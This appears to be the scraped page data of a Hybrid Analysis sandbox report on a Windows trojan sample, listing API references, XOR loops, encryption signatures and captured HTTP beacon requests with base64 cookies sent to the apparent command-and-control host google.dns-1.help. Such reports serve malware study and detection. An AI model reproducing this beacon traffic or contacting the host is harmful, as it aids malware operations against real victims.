24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 3e:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4fe,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win64_GenKryptik_HPGV_trojan Sample 1d3bcced2467… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 1d3bcced2467…. Malware family: Win64_GenKryptik_HPGV_trojan. Threat score 100/100. 2/27 AV engines flagged this file. 3 malicious and 28 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03","keywords":["Malicious","Win64_GenKryptik_HPGV_trojan","malware analysis","sandbox report","threat intelligence","1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03"],"about":{"@type":"SoftwareApplication","name":"1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin","applicationCategory":["peexe","64bits","executable"],"identifier":"1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win64_GenKryptik_HPGV_trojan","antivirusDetections":{"malicious":2,"total":27},"behavioralIndicators":{"malicious":3,"suspicious":28},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T59d,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "1d3bcced2467d17e2be347629e1aae5ad919c0cf850932eef0fff74fc3ea0f03.bin")26:T1b85,Assembly shows XOR instruction xor rax rsp in Stream UID: 7191-7478-00000001400049F8 Assembly shows XOR instruction xor eax esp in Stream UID: 7191-7478-00000001400049F8 Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7478-00000001400049F8 Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7478-00000001400049F8 Assembly shows XOR instruction xor rax rsp in Stream UID: 7191-7481-0000000140004C78 Assembly shows XOR instruction xor eax esp in Stream UID: 7191-7481-0000000140004C78 Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7481-0000000140004C78 Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7481-0000000140004C78 Assembly shows XOR instruction xor rax rsp in Stream UID: 7191-7523-000000014000301C Assembly shows XOR instruction xor eax esp in Stream UID: 7191-7523-000000014000301C Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7523-000000014000301C Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7523-000000014000301C Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7533-0000000140005E38 Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7533-0000000140005E38 Assembly shows XOR instruction xor rax rsp in Stream UID: 7191-7535-0000000140003FCC Assembly shows XOR instruction xor eax esp in Stream UID: 7191-7535-0000000140003FCC Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7535-0000000140003FCC Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7535-0000000140003FCC Assembly shows XOR instruction xor ecx 10h in Stream UID: 7191-7585-0000000140007ED2 Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7585-0000000140007ED2 Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7585-0000000140007ED2 Assembly shows XOR instruction xor rax rsp in Stream UID: 7191-7586-0000000140008694 Assembly shows XOR instruction xor eax esp in Stream UID: 7191-7586-0000000140008694 Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7586-0000000140008694 Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7586-0000000140008694 Assembly shows XOR instruction xor rax rsp in Stream UID: 7191-7589-00000001400BC54C Assembly shows XOR instruction xor eax esp in Stream UID: 7191-7589-00000001400BC54C Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7589-00000001400BC54C Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7589-00000001400BC54C Assembly shows XOR instruction xor rax rsp in Stream UID: 7191-7594-0000000140011C40 Assembly shows XOR instruction xor eax esp in Stream UID: 7191-7594-0000000140011C40 Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7594-0000000140011C40 Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7594-0000000140011C40 Assembly shows XOR instruction xor rax rsp in Stream UID: 7191-7595-000000014001549C Assembly shows XOR instruction xor eax esp in Stream UID: 7191-7595-000000014001549C Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7595-000000014001549C Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7595-000000014001549C Assembly shows XOR instruction xor rax rsp in Stream UID: 7191-7596-00000001400B3364 Assembly shows XOR instruction xor eax esp in Stream UID: 7191-7596-00000001400B3364 Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7596-00000001400B3364 Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7596-00000001400B3364 Assembly shows XOR instruction xor rax rsp in Stream UID: 7191-7599-00000001400B34F8 Assembly shows XOR instruction xor eax esp in Stream UID: 7191-7599-00000001400B34F8 Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7599-00000001400B34F8 Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7599-00000001400B34F8 Assembly shows XOR instruction xor rax rsp in Stream UID: 7191-7610-0000000140008C86 Assembly shows XOR instruction xor eax esp in Stream UID: 7191-7610-0000000140008C86 Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7610-0000000140008C86 Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7610-0000000140008C86 Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7626-0000000140009A3C Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7626-0000000140009A3C Assembly shows XOR instruction xor rax rsp in Stream UID: 7191-7631-00000001400564F8 Assembly shows XOR instruction xor eax esp in Stream UID: 7191-7631-00000001400564F8 Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7643-000000014000ACE0 Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7643-000000014000ACE0 Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7654-000000014000BB95 Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7654-000000014000BB95 Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7679-000000014000D2DB Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7679-000000014000D2DB Assembly shows XOR instruction xor rax rsp in Stream UID: 7191-7686-000000014000DB26 Assembly shows XOR instruction xor eax esp in Stream UID: 7191-7686-000000014000DB26 Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7686-000000014000DB26 Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7686-000000014000DB26 Assembly shows XOR instruction xor rax rsp in Stream UID: 7191-7700-0000000140014014 Assembly shows XOR instruction xor eax esp in Stream UID: 7191-7700-0000000140014014 Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7700-0000000140014014 Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7700-0000000140014014 Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7713-000000014000E36A Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7713-000000014000E36A Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7714-000000014000E412 Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7714-000000014000E412 Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7720-000000014000ED2C Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7720-000000014000ED2C Assembly shows XOR instruction xor rax rsp in Stream UID: 7191-7729-0000000140047E18 Assembly shows XOR instruction xor eax esp in Stream UID: 7191-7729-0000000140047E18 Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7729-0000000140047E18 Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7729-0000000140047E18 Assembly shows XOR instruction xor rax rsp in Stream UID: 7191-7730-00000001400BDFF0 Assembly shows XOR instruction xor eax esp in Stream UID: 7191-7730-00000001400BDFF0 Assembly shows XOR instruction xor rcx rsp in Stream UID: 7191-7730-00000001400BDFF0 Assembly shows XOR instruction xor ecx esp in Stream UID: 7191-7730-00000001400BDFF027:T181c,Contains base64 string in header "/ptj" in header "GET /ptj HTTP/1.1Accept: */*Cookie: YIwOwhXhy21PBldVgO1pkEqmbyWTf1K4x+zaxBwQAQRliQZb6P6PVdRlwlsWVPgcTnK7Eae3O/iGrrYQ/69wFV9xSet6inNxujZKB339A25UamUhCP2EXeX+xjXj94VVlX3gI5/8biia3vLCei87HyrDWw93RaQgG8WjwNkF014=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENUS)Host: google.dns-1.helpConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "YIwOwhXhy21PBldVgO1pkEqmbyWTf1K4x+zaxBwQAQRliQZb6P6PVdRlwlsWVPgcTnK7Eae3O/iGrrYQ/69wFV9xSet6inNxujZKB339A25UamUhCP2EXeX+xjXj94VVlX3gI5/8biia3vLCei87HyrDWw93RaQgG8WjwNkF014=" in header "GET /ptj HTTP/1.1Accept: */*Cookie: YIwOwhXhy21PBldVgO1pkEqmbyWTf1K4x+zaxBwQAQRliQZb6P6PVdRlwlsWVPgcTnK7Eae3O/iGrrYQ/69wFV9xSet6inNxujZKB339A25UamUhCP2EXeX+xjXj94VVlX3gI5/8biia3vLCei87HyrDWw93RaQgG8WjwNkF014=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENUS)Host: google.dns-1.helpConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "User" in header "GET /ptj HTTP/1.1Accept: */*Cookie: YIwOwhXhy21PBldVgO1pkEqmbyWTf1K4x+zaxBwQAQRliQZb6P6PVdRlwlsWVPgcTnK7Eae3O/iGrrYQ/69wFV9xSet6inNxujZKB339A25UamUhCP2EXeX+xjXj94VVlX3gI5/8biia3vLCei87HyrDWw93RaQgG8WjwNkF014=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENUS)Host: google.dns-1.helpConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "GET /ptj HTTP/1.1Accept: */*Cookie: YIwOwhXhy21PBldVgO1pkEqmbyWTf1K4x+zaxBwQAQRliQZb6P6PVdRlwlsWVPgcTnK7Eae3O/iGrrYQ/69wFV9xSet6inNxujZKB339A25UamUhCP2EXeX+xjXj94VVlX3gI5/8biia3vLCei87HyrDWw93RaQgG8WjwNkF014=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENUS)Host: google.dns-1.helpConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "ENUS" in header "GET /ptj HTTP/1.1Accept: */*Cookie: YIwOwhXhy21PBldVgO1pkEqmbyWTf1K4x+zaxBwQAQRliQZb6P6PVdRlwlsWVPgcTnK7Eae3O/iGrrYQ/69wFV9xSet6inNxujZKB339A25UamUhCP2EXeX+xjXj94VVlX3gI5/8biia3vLCei87HyrDWw93RaQgG8WjwNkF014=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENUS)Host: google.dns-1.helpConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "GET /ptj HTTP/1.1Accept: */*Cookie: YIwOwhXhy21PBldVgO1pkEqmbyWTf1K4x+zaxBwQAQRliQZb6P6PVdRlwlsWVPgcTnK7Eae3O/iGrrYQ/69wFV9xSet6inNxujZKB339A25UamUhCP2EXeX+xjXj94VVlX3gI5/8biia3vLCei87HyrDWw93RaQgG8WjwNkF014=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENUS)Host: google.dns-1.helpConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /ptj HTTP/1.1Accept: */*Cookie: YIwOwhXhy21PBldVgO1pkEqmbyWTf1K4x+zaxBwQAQRliQZb6P6PVdRlwlsWVPgcTnK7Eae3O/iGrrYQ/69wFV9xSet6inNxujZKB339A25UamUhCP2EXeX+xjXj94VVlX3gI5/8biia3vLCei87HyrDWw93RaQgG8WjwNkF014=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENUS)Host: google.dns-1.helpConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "/ptj" in header "GET /ptj HTTP/1.1Accept: */*Cookie: OXk0uuH0kmZOLvrUWP7g0HRyArUIRBBOy80/aNiLaGA2Uq/nabaERuKqSQiT14UkPcniAZjHzxscXgHA2srrO0rT7kq3O3Re/7wMudnZCnHGvn5b6WDpLa61Lu5HvyskItgzO0e2TA03hRMH7ebtOBLGe2uiWIKUmewTH1+ftNQ=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENUS)Host: google.dns-1.helpConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "OXk0uuH0kmZOLvrUWP7g0HRyArUIRBBOy80/aNiLaGA2Uq/nabaERuKqSQiT14UkPcniAZjHzxscXgHA2srrO0rT7kq3O3Re/7wMudnZCnHGvn5b6WDpLa61Lu5HvyskItgzO0e2TA03hRMH7ebtOBLGe2uiWIKUmewTH1+ftNQ=" in header "GET /ptj HTTP/1.1Accept: */*Cookie: OXk0uuH0kmZOLvrUWP7g0HRyArUIRBBOy80/aNiLaGA2Uq/nabaERuKqSQiT14UkPcniAZjHzxscXgHA2srrO0rT7kq3O3Re/7wMudnZCnHGvn5b6WDpLa61Lu5HvyskItgzO0e2TA03hRMH7ebtOBLGe2uiWIKUmewTH1+ftNQ=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENUS)Host: google.dns-1.helpConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "User" in header "GET /ptj HTTP/1.1Accept: */*Cookie: OXk0uuH0kmZOLvrUWP7g0HRyArUIRBBOy80/aNiLaGA2Uq/nabaERuKqSQiT14UkPcniAZjHzxscXgHA2srrO0rT7kq3O3Re/7wMudnZCnHGvn5b6WDpLa61Lu5HvyskItgzO0e2TA03hRMH7ebtOBLGe2uiWIKUmewTH1+ftNQ=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENUS)Host: google.dns-1.helpConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "GET /ptj HTTP/1.1Accept: */*Cookie: OXk0uuH0kmZOLvrUWP7g0HRyArUIRBBOy80/aNiLaGA2Uq/nabaERuKqSQiT14UkPcniAZjHzxscXgHA2srrO0rT7kq3O3Re/7wMudnZCnHGvn5b6WDpLa61Lu5HvyskItgzO0e2TA03hRMH7ebtOBLGe2uiWIKUmewTH1+ftNQ=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENUS)Host: google.dns-1.helpConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "ENUS" in header "GET /ptj HTTP/1.1Accept: */*Cookie: OXk0uuH0kmZOLvrUWP7g0HRyArUIRBBOy80/aNiLaGA2Uq/nabaERuKqSQiT14UkPcniAZjHzxscXgHA2srrO0rT7kq3O3Re/7wMudnZCnHGvn5b6WDpLa61Lu5HvyskItgzO0e2TA03hRMH7ebtOBLGe2uiWIKUmewTH1+ftNQ=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENUS)Host: google.dns-1.helpConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "GET /ptj HTTP/1.1Accept: */*Cookie: OXk0uuH0kmZOLvrUWP7g0HRyArUIRBBOy80/aNiLaGA2Uq/nabaERuKqSQiT14UkPcniAZjHzxscXgHA2srrO0rT7kq3O3Re/7wMudnZCnHGvn5b6WDpLa61Lu5HvyskItgzO0e2TA03hRMH7ebtOBLGe2uiWIKUmewTH1+ftNQ=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENUS)Host: google.dns-1.helpConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /ptj HTTP/1.1Accept: */*Cookie: OXk0uuH0kmZOLvrUWP7g0HRyArUIRBBOy80/aNiLaGA2Uq/nabaERuKqSQiT14UkPcniAZjHzxscXgHA2srrO0rT7kq3O3Re/7wMudnZCnHGvn5b6WDpLa61Lu5HvyskItgzO0e2TA03hRMH7ebtOBLGe2uiWIKUmewTH1+ftNQ=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;ENUS)Host: google.dns-1.helpConnection: Keep-AliveCache-Control: no-cache"28:T436,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Calls an API typically used to performs encryption on the data Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Drops file with high entropy indicating encryption/obfuscation Matched sigs: Imports crypto-related APIs Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: Contains key cryptographic functions of the CryptoAPI Matched sigs: YARA signature match - AES encryption29:T3c8a,Found XOR loop in file "SystemSettings.dll" at offset 50608; code bytes = 33c1 Found XOR loop in file "SystemSettings.dll" at offset 224143; code bytes = 8030 Found XOR loop in file "SystemSettings.exe" at offset 13719; code bytes = 33c1 Found XOR loop in file "SystemSettings.exe" at offset 94573; code bytes = 8030 Found XOR loop in file "SystemSettings.exe.bin" at offset 13719; code bytes = 33c1 Found XOR loop in file "SystemSettings.exe.bin" at offset 94573; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1968568; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1971200; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1989616; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2488144; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2644849; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2665460; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2665463; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2666231; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2666234; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3029623; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3040516; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3139704; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3146048; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3159942; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3178239; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3188415; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3302586; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3304058; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3396476; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3507041; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5257; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1657496; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1723530; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1723549; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2799046; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3182987; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3209304; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3265331; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3384759; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3396948; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3476067; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3583696; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3243108; code bytes = 30040e Found XOR loop in file "sample.bin" at offset 54866; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 58423; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 59230; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 60955; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 61974; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 104027; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 113830; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 119459; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 185463; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 194332; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 224648; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 232114; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 235257; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 235325; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 242356; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 268122; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 292719; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 293788; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 294877; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 362354; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 421504; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 428823; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 434443; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 440438; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 441178; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 498659; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 525994; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 625667; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 626954; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 634942; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 635776; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 636262; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 656968; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 676723; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 684158; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 686322; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 687542; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 721231; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 722661; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 763232; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 783446; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 793575; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 800868; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 801141; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 801381; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 801452; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 801666; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 802898; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 803166; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 803276; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 803773; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 803945; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 840018; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 853987; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 856083; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 856392; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 856908; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 857002; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 857098; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 857339; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 857385; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 857437; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 859582; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 865068; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 890775; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 893939; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 895677; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 909559; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 944230; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 944345; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 944640; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 974503; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 978698; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 984221; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 992377; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 993541; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 995750; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 996843; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 997308; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1011821; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1030670; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1032360; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1032749; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1047171; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1049181; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1056787; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1056890; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1085290; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1087243; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1108200; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1136879; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1151182; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1153313; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1153370; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1154119; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1169636; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1169863; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1170054; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1170083; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1201550; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1207353; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1300758; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1333294; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1335455; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1336085; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1338009; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1338082; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1338173; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1346182; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1375024; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1383907; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1388470; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1484989; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1497328; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1506660; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1520015; code bytes = 8030 Found XOR loop in file 